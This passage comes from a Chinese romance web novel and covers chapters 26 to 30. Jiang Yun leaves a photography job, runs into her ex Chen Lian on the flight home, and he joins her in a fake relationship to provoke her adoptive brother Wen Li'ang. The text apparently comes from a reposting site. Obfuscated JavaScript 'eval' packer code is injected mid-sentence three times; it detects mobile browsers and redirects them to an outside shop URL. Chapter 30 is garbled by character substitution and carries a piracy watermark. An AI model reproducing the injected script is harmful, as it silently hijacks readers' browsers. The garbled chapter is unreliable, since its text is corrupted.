姜筠腿受伤的第三天,雨势终于变小,前往瑶芋机场的航班逐步恢复。 姜筠的伤有好转的迹象,走路时没那么疼了,但如果要进入工作状态还是有些困难,而且后半程的行程都在高原或山地,需要徒步,如果一整天跟拍,肯定受不了。早在受伤的那天,阿黄把她的情况和赵胖说了,赵胖的意思是给陈班和俞诗荞重新换一个摄影师,毕竞这可是大客户,不能怠慢。 姜筠也是这么想的。 新来的摄影师叫Cloe,姜筠之前和她打过几次照面,知道她工作能力很强,人很干练,拿过很多摄影方面的奖,姜筠自认为自己不如她。 虽然有点可惜这么丰厚的报酬,但想到不用再和陈琏见面,姜筠的心情又好了起来。 Cloe是在晚餐快结束时到达酒店的,彼时,他们四人还在酒店二楼的餐厅用餐。 电话一响,阿黄就临急临忙地去楼下接人。俞诗养吃着甜品,好奇地问:“他去接谁?”姜筠卖起了关子:“一会你就知道了。” “这么神秘。” 没一会,一个穿着黑色背心、黑色长裤的女孩出现在餐厅门口,站在阿黄旁边。 俞诗荞疑惑:“这是?” 谈话间,女孩已经走到了他们面前,她做起自我介绍。“大家好,我是新来的摄影师Cloe,因 为姜筠腿伤还没痊愈,所以接下来这最后的行程会由我来接替她的工作,希望我们可以合作愉快。” 俞诗荞愣住,表情错愕:“啊?姜筠,你要走了?”“嗯,今天就是我工作的最后一天啦,我定了明天一早的飞机回北城,”姜筠半真半假地说起一些场面话,“这顿饭我请大家吃吧,这段时间认识你们特别开心,但这几天腿实在疼得厉害,后续的行程肯定跟不上了,我还是先回家休息几天把伤养好,修好的照片我会打包发给你们的。”这段时间相处得很愉快,俞诗荞不是个容易和别人交朋友的人,但也觉得姜筠挺好的,这会知道她明天要走了还有些不舍。 “没事,等回北城了,我去找你和叶沼玩。”姜筠差点被呛到,但也只好应了声好。 餐桌上的气氛还算融治,只有阿黄留意到自从姜筠说完话后,陈先生就停下了手里的刀叉,再也没有动过。吃完饭已经是晚上八点,这天晚上离开前,姜筠走过去和俞诗荞拥抱。 明天一早她就走了,她想着应该以后也不会有机会和这位俞小姐见面,毕竞她打算一回去就和叶招把话说清楚,这样一来,两人必然不会有太多交集。俞诗荞回抱住她:“姜筠,我会想你的,回去一定要找我。” 她先应下:“好。” 和俞诗荞抱完,走到陈班那,她打算走个流程,简单握个手就行了。 “也谢谢陈先生这段时间的一一” 说到这,姜筠努力寻找合适的措辞,说是“照顾”好像也不对,说是“配合"好像语气太强硬了,卡壳了半天,她才把话补充完整。 “也谢谢陈先生这段时间对我工作的支持,特别感谢!” 说完,她挤出一个甜甜的笑容,朝他伸出了手,可陈班目光幽深,视线从她的脸下移到她伸出的手。紧接着,他拉着她的手,顺势把她拽进怀里。拥抱炽热,他的手紧紧锢在她腰后,是不容挣脱的力度。 那么多人看着,她心心脏都快跳出来了,不用看姜筠都能感受到周围人诧异的目光,她压低声音问他。“陈班,你是不是疯了?” 耳边传来他低沉的声音:“不是要道别吗?” 第二十七章 第27章第二十七章 次日一早,姜筠就来到了瑶芋机场。 十点二十分起飞的航班,她八点半就已经到机场了。时间充裕,到了航站楼,阿黄不紧不慢地跑去后备箱给她拿行李。 “行,那我走了。” 姜筠接过行李箱的拉杆,和他挥手。 阿黄站在原地,一脸欲言又止的模样。 姜筠也只好停下脚步,等着他开口。 其实姜筠已经猜到他想问什么了,果然,下一秒,阿黄就试探地问了句:“你、你和陈先生一一”阿黄还没说完,姜筠就打断了他。 “我和他一毛钱关系都没有。” “那昨天晚上是怎么回事?” 阿黄一直都很相信姜筠的为人,但现下情况很复杂。他努力捋清人物关系,首先陈先生是俞小姐的未婚夫,其次,陈先生昨晚主动抱了姜筠,最后姜筠说她和陈先生之间没有关系。 可昨晚,他回想起来那个场景,不像是普通朋友之间离别的拥抱,更像是……恋人之间的拥抱,那么亲密,在陈先生脸上,他甚至还看到了眷恋。 那么冷的一个人,那时眼底竞流露出了忧伤的神色。阿黄不敢往下想。 这么多天,陈先生和俞小姐之间甚至都没有过这么亲密的举动,而陈先生却对姜筠这样,他越想越乱,几乎一晚上没睡着。 站在道德上,他不应该支持陈先生和姜筠,但作为朋友,他又觉得两人看起来挺般配的。 姜筠不知道他的心路历程,只觉得心生疲惫,随便糊弄了句:“我也不知道,你去问他吧。” 说完,拉着行李箱去了安检口。 这边的航班刚恢复,机场大厅人不多,选择回程的人更少,不到半个小时,她就已经拿到登机牌在候机厅坐下。拿出手机一看,她视线凝固了。 二十分钟前,叶招给她发了一张图片。 是一张登机牌,她注意到了关键信息: 09:10-12:50,从首都国际机场到瑶芋机场,南方航空。 叶招:【给你个惊喜。】 姜筠反应了好几秒,表情错愕。 缓了好一阵,她在键盘上打了个问号。 【?】 对方已经没回复。 估计是已经起飞了。 姜筠真是又好气又好笑。 想了想,她也对着手上的登机牌拍了一张,给他发了过去。 【我也给你一个惊喜。[笑脸]】 等他下飞机,应该就能看到了。 这应该算是一个big big surprise。九点五十分,姜筠登机,她的位置在最里侧。手里的行李箱太沉,她现在腿上有伤,试了两回都没放上去。 坐在她旁边的是一个长得有点喜感的胖胖的中年大叔,瞧见了主动起身帮她把行李放上了架子。不过行李箱太重,那大叔也费了点劲,把行李放好后,扶着腰对她说:“没想到小姑娘你东西还挺沉,差点把我老腰给闪了。” “不好意思,辛苦您了。” 她感激道谢,这次出门时间长,她确实带了很多东西,行李箱都快超重了。 在座位坐下,她给大叔分享了她带过来的零食,又习惯性地戴上耳机,靠在座椅后背休息。 戴的是降噪耳机,除了播放的音乐,几乎听不到其他的噪音。 为了赶航班,姜筠今天起得早,没一会就困了,本来还在懊恼忘记把眼罩带上飞机了,但原来真正困的时候根本不需要借用任何外物的帮助。 三个半小时的飞机,她一睡就是两个多小时,再睁开眼睛时,屏幕显示已经飞了一半的行程。 大概是睡得太久,喉咙有点干,她拧开矿泉水瓶喝了一囗。 左侧的头发遮挡了视线,她没发现旁边的座位换了人,只觉得附近的香水味有些熟悉。 profumun Roma的"燃烧”,某个人以前经常用这款香水。 看了下时间,还有一个小时才能到北城,脑袋昏昏沉沉的,她百无聊赖地打开相册,准备清理照片。目光触及屏幕左下方的“私密相册”,她视线停顿了几秒。 是的,她也有一个私密相册,2387张照片。从温礼昂初中到今年四月份,她给他拍的所有照片都在里面,这些年换了那么多台手机,可这些照片一次又一次地被保存了下来。 她一张也不舍得删。 喉咙泛起苦味,可她还是忍不住再次点开,手指往下划,从第一张照片开始翻看,那是一张全家福,也是她和温礼昂第一张合照,她记得很清楚,是在家门口对面的照相馆里拍的,可惜现在那家店在五年前已经倒闭了。手机屏幕还亮着,她陷入回忆。 “还在看?这照片都看包浆了吧。” 忽然,磁性低沉的声音钻入耳膜,那声音戏谑又冷血,没点人情味。 听到这熟悉的声线,姜筠立刻扭过头,眼睛瞪得浑圆。陈班正勾着笑看她,好整以暇。 这人怎么会出现在这里? 她记得今天他们的行程应该是去肃西石林,如果按照行程走的话,现在应该已经出发一会了。 “陈班,"喊他名字时 ,姜筠甚至有些咬牙切齿,“你到底想干什么?” 陈班一边整理袖口一边云淡风轻地回她:“我出现在这和你一点关系都没有。” 事实上,她刚说完就已经后悔了,因为她瞥见他电脑屏幕里的邮件,最下面写着一一 Meeting:June 18th ,2:00 PM是明天下午的会议。 她感觉倒有些尴尬,但马上又想到了反驳的话。“你昨天的举动,让我很难不多想。” 陈班没说话。 姜筠现在确实有一肚子疑问。 “俞小姐是不是已经知道了?” 姜筠忘不了昨晚俞小姐看向她的表情,瞳孔放大,嘴巴微张,表情极度错愕。 她早上本来想发消息给俞诗荞解释,但又担心她已经把自己删掉了,纠结了一会,还是什么都没发。陈班把电脑屏幕合上,摇头,语气平淡:“她没发现。” “真的?” 姜筠稍微松了一口气。 下一秒,陈琏又开口:“但我告诉她了。”姜筠的火噌地一下就上来了。 她想,她是不是该找人换个位置,不然她怀疑还没下飞机就要被气死了。 她扭头看向窗外,一腔怒气无从发泄,本不打算继续和他说话,但又觉得他该赔给她一点精神损失费。“陈班,你的恶作剧,一点都不好笑。” 陈班扶了下镜框:“这不是恶作剧。” “那是什么?"姜筠追问。 陈班喉结动了动,他深深地望了一眼姜筠。他只是……舍不得。 他只是想抱一下她。 等不到回答,姜筠看着他,在心里把他骂了八 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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难道是怕她走路再摔倒吗? 想到这,她仰头看了旁边的人一眼,心里倒是有了些异样。 这回,她倒是没想着甩开他,慢悠悠地走。走到机场大厅,她正要提前打车,忽然视线一顿。不远处,温礼昂站在便利店前,正朝这边的通道出口看过来,他今天穿着白色衬衫,领口处空着两颗纽扣没系,有种慵懒的随性。 他怎么知道她今天回来的? 片刻后,她又想明白了,应该是邹淑坋告诉他的。起飞前,她曾给邹淑坋发了航班的信息。 心又揉作一团,她越走越慢,这几日温礼昂给她发消息,她都刻意过了许久才回复,甚至是不回复,可她没有信心,面对他本人也能做到不起波澜。 这时,温礼昂也看到了她,眉眼带着笑意,快步朝她走过来,但很快,他看到了她旁边的陈班,神色变得凝重。姜筠注意到他表情的变化,与此同时,旁边的陈班突然开囗。 “想不想玩点刺激的?” 她愣住:“什么?” 下一秒,陈班主动牵起她的手。 十指紧扣,亲密难分。 “姜筠,你要不要再和我试试?“陈班笑得轻佻,“你当初不是为了气他和我在一起的吗,要不要……再试试?” 第二十八章 第28章第二十八章 这短短几秒内发生的事情超出了她的预料,掌心温热,是陈班身体传递过来的温度。 他刚才的提议太过疯狂,姜筠此刻大脑一片空白,几乎失去了思考的能力。 她想挣脱,但陈班将她手攥得更紧,不给她任何反悔的机会,也像是要给她勇气,让她坚定信心。离温礼昂越来越近,她都能看到他脸上的错愕和惊诧,目光触及他们紧握的手,一向温和的人身上多了攻击性,眼神阴冷得像蛇。 姜筠恍惚,那样的眼神有些熟悉,温礼昂大学比赛结束去桥溪公寓找她的那个雨天,发现她和陈班同居时,他也露出了同样的神情。 阴冷,绝望,以及迷茫。 他也像现在这样死死地盯着她,观察探究她脸上的每一寸表情。 心思摇摆不定,陈班还在耳边循循善诱:“你不是一直想知道他喜不喜欢你吗?我可以帮你。这么好的机会,你确定你不需要?” 手心渗出了汗,喉咙因为紧张而变得干涩,没给她太多思考的时间,温礼昂已经走到了他们面前,姜筠下意识握紧了陈斑的手。 陈班先是一愣,随后嘴角抑制不住微微上扬。“阿筠。” 温礼昂开了口。 他声线很低沉,似乎压抑到了极致,可还是能听出来其中蕴藏着怒气,他明明有很多话要说,可最后只喊了她的名字,攥紧的手心在控制不住地发抖。 姜筠别开脸:“你怎么来了?” “我来接你回家。” 这句话温礼昂此前说过无数遍,可这是第一次他觉得说出来如此艰难。 “家”这个词有太多含义,他想象过和姜筠的“家”,无数次,不是以兄妹的关系生活在一起的“家”,而是以另一种身份,早在布置现在这套公寓时他就想象过,所以在北城的家里,他养了她爱的绿植,有她想要的摇摇椅,还有她说的电竞房和摄影房,一切都是按照她理想中“家"的样子布置的。 姜筠听见也有些触动。 “哥,又见面了。” 陈班像是故意的,在这里插了句。 温礼昂看他,拳头紧攥,嗯了一声,那声音听起来像是唇齿咬紧发出的声音。 陈班还在说风凉话:“哥是不是很意外,上次我们都以为那是彼此最后一次见面了,没想到一一”暗流涌动,气氛有些剑拔弩张。 陈班想起一些并不愉快的记忆,相信对面的温礼昂也是这么认为的。 两人谁都没再说话,温礼昂把姜筠手里的行李拿了过来。 陈班眉头微皱。 “哥,我来拿吧,不麻烦你。” 陈班一口一个"哥”,似乎是在提醒他什么。行李箱已经在温礼昂手上,他推着行李走向机场大厅外,司机已经在门口等候。 在后备箱放好行李,他对陈班说:“陈先生,建议你可以喊我名字,我们之间不需要太过亲切。”陈班笑道:“这怎么行呢,你是她哥哥,我自然也要叫你′哥′。” 三两句话给挡了回去。 只是话音刚落,陈班的手机响了,高经理给他打来电话,讨论明天下午会议的事宜。 姜筠趁机说:“那我先回家了。” 她钻进车里,隔着车窗和陈班挥手,距离上一次和他谈恋爱也有很长一段时间了,她道别得有点生硬,想了想,憋了半天才说了句:“你到家记得给我发消息。”她用了她此刻能装出来的最甜最腻的声线。可是她才刚说完,下一秒,陈班却一边接电话一边拉开车门,硬是挤了进来。 姜筠目瞪口呆。 此时,她左边是陈班,右边是温礼昂,她这下真·左右为难了。 轿车迟迟没有启动,司机在观察温礼昂的眼色,没得到允许他不敢擅自启动。 聊了几分钟,陈班终于挂了电话,转头对温礼昂说:“我给哥也带了些礼物,我还是和姜筠先去公寓一趟吧。”“是吗?″温礼昂找姜筠确认。 此时此刻,姜筠也只能硬着头皮点头。 “是。” “陈先生破费了。” 道谢的话,用的却是阴冷的语气。 “阿升,开车吧。“温礼昂这才开口。 “好的,温先生。” 打转方向盘,轿车行驶在机场高速公路上,车厢内明明开了冷气,可姜筠夹在中间,莫名出了一身汗。气氛实在太焦灼,姜筠对司机说:“要不开点音乐吧。” 瞧见后视镜里温礼昂示意,司机这才打开按钮。播放的是Stan Getz演奏的《Desafinado》,很轻缓的爵士乐,萨克斯的声音让人迷醉。 终于安静了一阵,姜筠松了一口气。 她瞥了一眼旁边的人,陈班在手机回复邮件,而温礼昂品…正在看着自己,眼神晦暗不明。 她立刻收回视线,靠在椅背闭眼休息。 车厢内安静了下来,姜筠闭着眼睛,还真的有了些睡意,打起瞌睡,头下意识地往温礼昂的肩膀上靠,但下一秒,还没沾到温礼昂的肩膀,陈班就已经把她的头扭了过来,放在自己的肩膀上。 姜筠全程不知道发生了什么,快到公寓她才醒过来。打了个哈 欠,迷迷糊糊的,忽然手上多了条银色的手链,冰冰凉凉的贴在手腕内侧,低头,陈班正在帮她扣紧调节扣,她愣了愣。 又听见他轻笑了声,说:“给你买的礼物,怎么忘记戴上了?” “啊?"姜筠疑惑。 “这还是我早上收拾房间时看到的,你出门总落东西。” 这是在暗示温礼昂,他们这些天都住在同一个房间。姜筠疑惑的表情持续了整整一分钟,她望向陈班那张完美得挑不出瑕疵的脸,她在想,这人是从哪编出那么多话来的,还挺……像模像样。 陈班帮她戴完手链,顺势一直牵着她的手,姜筠开始还有些不习惯,有些拘谨,后来便随他了。陈琏嘴角勾了勾,不用看温礼昂的表情,他都知道应该很精彩。 车在公寓前停下,姜筠下车,刚打量了腕间的手链两眼,右手摩挲了下表面的吊坠,忽然听到旁边的人在她耳边冷冷说了句:“超过五百块了,不许摘。”“什么?” 她反应了两秒,这才想明白他话里的意思。这是拿她上次说过的话噎她呢? 想到这,她在“文件传输助手"的对话框里输入“待会记得给陈斑报销″。 温礼昂看着两人亲密无间的模样,心里又酸又涩,短短一个月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14323251|141624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里,姜筠好像不需要他了,一会要和他划清界限,一会要搬出去住,而现在竞然又遇到了陈班一一那个曾让她动摇过的男人。 他不知道事情怎么会发展成这样,他不知道是哪里出现了问题,可又觉得处处都是问题。 浓重的闷窒感将他包围,密码锁解开,刚走到公寓,他就解开了领带,可那喘不过气的快要窒息的感觉却没有减弱。 他转身进了浴室,他需要让自己冷静下来,否则此刻他不知道自己会做出什么样的事。 他害怕失控,害怕变成另一个让自己都感到陌生的人。而陈班还在端详着鞋架上的那双男士拖鞋,目光如炬,盯了好几秒。 “谁的?"他问姜筠。 “就平时有些朋友会过来。“她含糊地说,虽然不该心虚,但好像确实是心虚了。 看姜筠闪躲的眼神,他大脑里已经有了答案。“算了,你别换鞋了。” 她记得他有洁癖,不愿意穿别人穿过的鞋,更别说这还是买给叶招的,他肯定嫌弃。 陈班一进门就去找冰箱的位置。 姜筠心里咯噔了一声,他不会真的要去看里面有没有西梅汁吧。 还真是。 因为下一秒,她听见陈班说:“那个厚脸皮的人再来,你不用管他。” 姜筠本以为他会在公寓里坐一会,但他只是把所谓的礼物拿上楼后便走了,甚至都没等温礼昂从浴室里出来。她送他到电梯门前,犹豫了好一阵,她还是问了出口。“你、你为什么愿意这样做?” 为什么愿意帮她? 陈班按电梯的手一顿:“怎么,你觉得吃亏?”“我是没什么吃亏的,但你又图什么呢?"姜筠实在费解。 虽然答案似乎很明显,但自作多情的次数多了,姜筠已经不敢再往那方面想了,三个小时前,在飞机上她就已经自作多情了一次。 只是陈班忽然转头看她,那眼神深邃,让她生出了很多错觉。 她正忐忑,正想往后退一步,他又开了口,语气平淡得像在谈论今天的天气。 “你好奇的答案,我也好奇。我只想知道他对你到底是什么样的感情。” 姜筠愣住。 “如果他真的回头找你,我们之间的“情侣''关系就算结束。” “行。“姜筠答应得很爽快。 陈班走后,姜筠没有急着回家,而是去了附近的面包店逛了好一会。 心烦的时候,她总喜欢去逛面包店,面包的香气让人感到治愈,心情好像也会跟着慢慢平复下来。今天发生了太多事,她需要时间好好思考,待会怎么面对温礼昂,以及以后怎么面对陈班。 还在挑选明天的早餐,忽然口袋里的手机震动了一下,发出嗡嗡的响声。 她好奇,拿出来看了眼。 是陈班发过来的好友添加申请,显示是从“瑶甘小分队”群里添加的。 验证消息是:你的男朋友。 姜筠看到莫名嘴角弯了弯。 她在屏幕点击“通过",伪装了一天情侣的两人,此时此刻才加上了微信。 姜筠还在看着手机屏幕,手机又弹出两条消息一一(我到家了。) 【给你报备。】 第二十九章 第29章第二十九章 看到陈班的消息,姜筠先是一愣。 忽然又想起刚才在机场,准备分别前,她对陈班说“你到家记得给我发消息”没想到他还真的把这话听进去了。这人演得也太真了,她自愧不如。 对比起来,她似乎都还没有进入状态。 排队结账时,姜筠点开了陈班的头像。 虽然这些天他们在一个群里,但这是姜筠第一次认真点开陈班的头像。 是一部法国文艺电影的截图,蓝调时刻,整个世界静谧又美好。 很熟悉,那么多年,他连头像都没变过。 刚认识他的时候,他就是用这个头像,直到和她谈恋爱,她非要换情侣头像,他才配合她一起换,想来是分手后他又换回来了。 结账时,她把面包递给收银员,忽然视线在腕间的手链处停顿了几秒。 差点忘了。 于是,往小区里走时,她一边走路一边给陈班转了588块过去。 特地写上备注:报销 本以为陈班不会收的,但五分钟后,对方接收了转账。那她就放心了,公对公,私对私,数目要分明。他要是不收,那她倒真要想想他是不是真的对她有什么了? Jin:【为什么是588?) 就猜到他会这么问。 姜筠笑着打字:【500是报销手链的,另外的88是给你的奖金。今天表现不错,我很满意[笑脸]】最主要是这手链真好看,比她自己买的要好看,陈班这人虽然刻薄,但审美还是很好的。 没一会,陈班回了过来。 Jin:姜小姐真是慷慨】 一想到陈班此刻无语的表情,她就想笑。 姜筠在楼下散了一会步才回家。 将近傍晚,路灯已经亮了起来,她踩着路灯的影子越走越慢。 不知为何,一想到要回到那个家,她现在竟有些抵触。那个曾经让她无比憧憬的地方,现在她站在门口犹豫了很久才输入密码。 她向来最讨厌复杂的事情,可猜温礼昂心意这件事,她做了十年,她现在仍然对此不擅长,她越来越不懂这个人。 她想,她已经在原地等了温礼昂将近十年,虽然中间因为陈班有过唯一一次偏航,但很快她又回到正轨。是终于感到累了吗?她问自己。 所以才会那么冲动地同意了陈班那个疯狂的提议。门打开,客厅里温礼昂正坐在沙发上看书,昏黄的灯光下,他五官英俊立体如雕塑,鼻梁上架着金丝眼镜,蓝色的家居服穿在他身上,仍旧气质清贵。 下一秒,温礼昂放下手里的诗集《漫游者寄宿所》,转头看向她:“回来了?” “嗯。“姜筠应了声。 “腿受伤了,还在外面走了那么久,"温礼昂眼底流露出担心的情绪,又向她招了招手,“过来,我帮你涂药。”姜筠走近,这才看到桌面上摆着很多药膏,还有棉签、绷带,看样子,像是摆在这里很久了。脑海里忽然想起陈班下午对她说的话:“你好奇的答案,我也好奇。我只想知道他对你到底是什么样的感情。”犹豫了两秒,姜筠在他旁边的沙发坐下。 温礼昂瞧见她手里还拿着一袋核桃奶酪包,开起玩笑。“早餐不喜欢吃我做的三明治了?以前天天闹着要吃。” 她闷声回:“明天想睡久一点,这个可以拿去公司吃。” 她说话时,温礼昂已经屈膝半蹲在地上,她今天穿的是不过膝的百褶裙,温礼昂拿起棉签,动作轻柔地把药膏涂在伤口处。 他眼神专注,那么地小心翼翼,生怕弄疼她。许是她一直没说话,温礼昂仰头看她,声音沙哑,喉结滚了滚:“疼不疼?要不要再轻一点?”此刻,他半蹲在地上,像是跪在她眼前,仰头看她那眼神里全是怜惜。 姜筠不合时宜地想,他在床上也会是这个样子吗?那么温柔、体贴。 她忽然意识到,她竟还对他有性*幻想。 她想到一些不宜想象的画面,直到温礼昂再次开口,她才回过神。 “腿是什么时候受伤的?” “前几天。“她说得含糊。 “受伤怎么也不告诉我,交男朋友了,要和哥哥生分了么?” 话里有浓重的醋意。 一整晚了,温礼昂终于提及了这个问题,事实上,从陈班出现的那一刻开始,他就按捺不住,再也无法维持表面的冷静。 “不应该么?"姜筠反驳,“交男朋友了,应该和你保持距离。这不是哥你以前告诉过我的吗?”她在用他当年说过的话反击他。 温礼昂心脏隐隐作痛,棕色半透明的药膏在他手上划了一道,他这回没用棉签,而是用手帮她上药。温热的掌心接触到裸露在外的皮肤,他用力很轻,指腹在淤青处来回摩挲,有点痒,姜筠心里难免生出异样。“阿筠,不要开这种玩笑,"温礼昂语气严肃了许多,面色凝重,“这一点都不好玩。” “我开什么玩笑了?"姜筠反问。 “我刚才给阿黄打了电话,他说,你和他没有任何关系,"温礼昂顿了顿,才把后半句补充完整,“你们只是恰巧碰上了。” 姜筠笑了,挑衅:“我 和他有没有关系,哥,你不清楚吗?在桥溪公寓那天,你不是都看到了吗?”那些刻意被遗忘的记忆,一次又一次被记起,心脏处密密麻麻的疼,他几乎有些喘不过气。 “那都是过去的事了。” 姜筠立刻反驳,眼睛直勾勾地看着他:“我既然会喜欢他一次,怎么就不会喜欢他第二次?” 温礼昂一个字也说不出来。 他的手还覆在她的小腿处,姜筠的小腿很细,温礼昂仅一只手就能轻而易举地环住,就那一刻,他心里竞萌生了很阴暗的想法,他想一直这样禁锢着她,让她哪里都去不了,至少不能离开他的身边。 可下一秒,姜筠挣脱了他的手,从沙发上起身。“我回房间了。” 房间门关上,客厅里只剩下他一个人,无边的孤独将他包围裹挟,他和她隔着如此近的距离,可仍旧感到不安,好像每时每刻都在失去她。 墙上的壁灯关了,客厅陷入一片黑暗,只有落地窗外城市的点点灯火映入眼中。 温礼昂常会想起很多年前那个停电的夜晚。那时他高二,姜筠念高一。 停电几乎是一瞬间发生的事,没有任何预兆,房子在顷刻间陷入黑暗,正坐在沙发上看恐怖电影的姜筠吓得立刻跳到他身上,头埋在他颈侧,双手环在他的腰,将他抱得很紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14323252|141624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 那时,姜筠正在发育期,某处柔软的地方按压在他胸口,温礼昂心跳得剧烈,动也不敢动,喉结不停地上下滑动。 他安抚地摸了摸她的头:“没事,只是停电了,别怕。” 姜筠仍是抱了他好一会,缓过劲儿后,渐渐松开了手。片刻后,她又说:“温礼昂,我想洗头,可是浴室里没有灯,我害怕。” “我帮你把电筒放好,你就不怕了。” 温礼昂打着老式的手电筒,往浴室的方向走,准备帮她把电筒挂在墙上,可姜筠忽然发现,停水了。“怎么这么倒霉啊?” 看个电影,停电,准备洗头,结果停水。 她待会还要出门呢。 “你等等。” 温礼昂把电筒给了姜筠,跑到外面的便利店买了两大桶矿泉水回来。 姜筠眼睛亮了。 “温礼昂,还是你有办法。” 他嘴角忍不住弯了弯。 姜筠站在那,看着他把水倒进塑料盆里。 盆里很快装满了水,他说:“可以了,小心凉。”正要出门,姜筠拉住她的手。 “温礼昂,你帮我洗吧。” 温礼昂愣了愣,但还是应下:“好。” 他从来不会拒绝她的请求。 手电筒微弱的光照在狭小的浴室里,姜筠弯着腰,露出后颈处雪白的皮肤,温礼昂看了两眼,立刻移开视线,手里掬着水,帮她打湿脑后的头发。 光线迷离,少年少女,湿漉漉的头发,被打湿的衣襟,如同老电影里朦胧细腻的镜头。 刚洗完头发,灯忽然亮了。 “来电了!太好了!"姜筠雀跃地跳了起来,裹着头发的毛巾差点掉在地上,“我终于可以出门了!”“你要去哪?"温礼昂疑惑。 话音刚落,一个戴眼镜的男同学从门后探出脑袋。“姜筠,你好了没?等你好久了。” “来了来了。“姜筠立刻把头上的毛巾拿了下来,扔到一旁,又急急忙忙地在门口穿鞋。 温礼昂站在她身后,看到她后背白色的衬衫因为洗头被打湿,大半变得透明,几乎能看到内衣的肩带,走近,男同学的眼睛似乎都看直了,顿了顿才移开视线。“头发还没吹干。"他拽着姜筠的右手,语气强硬。“来不及了,我要走了。” 她用力挣开了自己的手,然后飞快地跑了出门。他回想起刚才那个男同学看向姜筠的眼神,不禁攥紧了拳头,眼神阴冷。 当时,他不知自己为何会产生异样。 他只是坐在客厅一直等,等到接近十一点,她才从外面回来。 他留意到她身上的衣服换了一件,不是出门那件白色的T恤。 “发生什么了?怎么这里那么乱?” 姜筠走到浴室里,发现地上摔得四分五裂的塑料盆。“没事。"他摇头。 “温礼昂,你的手怎么了?怎么还在流血?”“没事。” 此后的那么多年,他都是这样告诉自己的一一没事。 没事。 都会过去的。 此刻,他也想这样告诉自己。 没事,都会过去的。 可他知道,不会过去的,永远都不会过去的。 第三十章 第30章 第三十章 慢悠悠地洗漱完,路过厨房,出礼昂系着围裙里里面做早餐,没肩宽腿长站里岛台前做牛油果虾仁吐司,阳光从窗外洒进车,头发丝都透着光,没手臂上青筋凸显,血管纹路清晰可见,手臂处好肌肉线条性感看张力,和此刻正里做好事形成鲜明好对比。 看某种反差好美感。 么见过出礼昂上身赤*裸好样子,和穿上西服时完全就两个人。得昂鬼使神差地拿出手机拍上个车。 手忙脚乱地把手机背到身后去。 只就么忘记关声音,咔擦着声,出礼昂听到声音回头看没,得昂尴尬脸红,出礼昂也没拆穿,嘴角勾着淡淡好笑,出声说请移??步晋?江文学城 ?: jj w?xc? 查看最新正版小说内容“饿上?马上就可以吃上。 "嗯,看点。" 么完全忘上昨天么买上面包手回事。 得昂里餐桌旁坐个,两分钟后,出礼昂端着做好好早餐走上过车。么先喝上着口牛奶,又听见出礼昂问么:“今天手么早醒上?”“嗯。” “昨晚没睡好?” 得昂摇头否认:“没看啊,睡得可好上,着沾上床就睡着上,人呢?”说完,么放个手里好玻璃杯,看着没。 出礼昂愣上着秒,才回答:“过也睡得很好。” 两个昨晚失眠好人都礼约而同地撒起上谎,没看人知道原因,又或者很多事本身就没看原因。 就像没本以为么礼会吃没做好早餐,但没地就多做上着份,而么明明买好上早餐,但地就坐里上手里。 吃完饭,出礼昂送么去上班。 么,因为么腿上看伤,没动作极其小心,生怕压到么好腿。么像往常着样坐里副驾驶座,么安全带没扣紧,出礼昂忽然俯身过车帮因而也靠得更近。 没粗硬好头发扫过么好颈窝,没身上好香水味将么彻底包围,得昂甚至看些心猿意马。 可就里手时,车窗被人敲响,对方曲指叩上三个,急促且看力,能看出对方极度缺乏耐心。 车厢里好气氛被惊扰,出礼昂停个动作,抬眼望向窗外,转瞬间目光变得阴戾,唇线紧抿。 说实话,看到到说出现里窗外好那着刻,得昂眼底好诧异礼比出礼昂要少。没怎么车上? 得昂地愣着礼知该作何反应,但地就把车窗降上个车。个着秒,到说伸手,摸上个么好头。 好八点半过里手等人吗? “过车晚上,生气上?"没好声音出柔得能掐得出水,“电话也礼接,礼就说没说得太真,得昂被唬得着愣着愣好。 要礼就么刚刚才看上手机,可能真好就相信上。点出门,好礼好? “路上堵车,所以车晚上着会,"到说地里给么解释,“过错上,过明天早着到说好语气倒真好像个认错态度良好好男朋友。“乖,个车。 手演技实里精湛,得昂都快被没演进去上。 虽然礼知道手就闹请移步晋江文学城 ?.jjwxc.?ne?t查看最新??正版小说内&zwnj哪着出,但得昂地就推开车门准备个车,只就,个着秒,出礼昂攥住么好手腕,力度很重,几乎把么弄疼。 “阿昂,地就过送人吧,到先生或许礼太认得路。”出礼昂始终注视着么,语气强硬,但目光里看礼易察觉好恳求。着句,“毕竟过才就得昂好男朋友,礼就吗? "哥,以后手种事就礼麻烦人上,"到说维持着礼貌好微笑,平静地道出个铁青。 “男朋友"那三个字没说得又轻又缓,但却让出礼昂眼底好阴霾更深,面色“阿昂,人觉得呢?”没只能转头望向得昂。 腰间就扣紧好安全带,左侧就出礼昂攥紧好手,而右边就正欲伸手牵么好到说。 片混沌。 没想到刚经历上失眠好夜晚,又迎车上如此混乱好早上,么好大脑此刻着犹豫上几秒,么地就个上车。 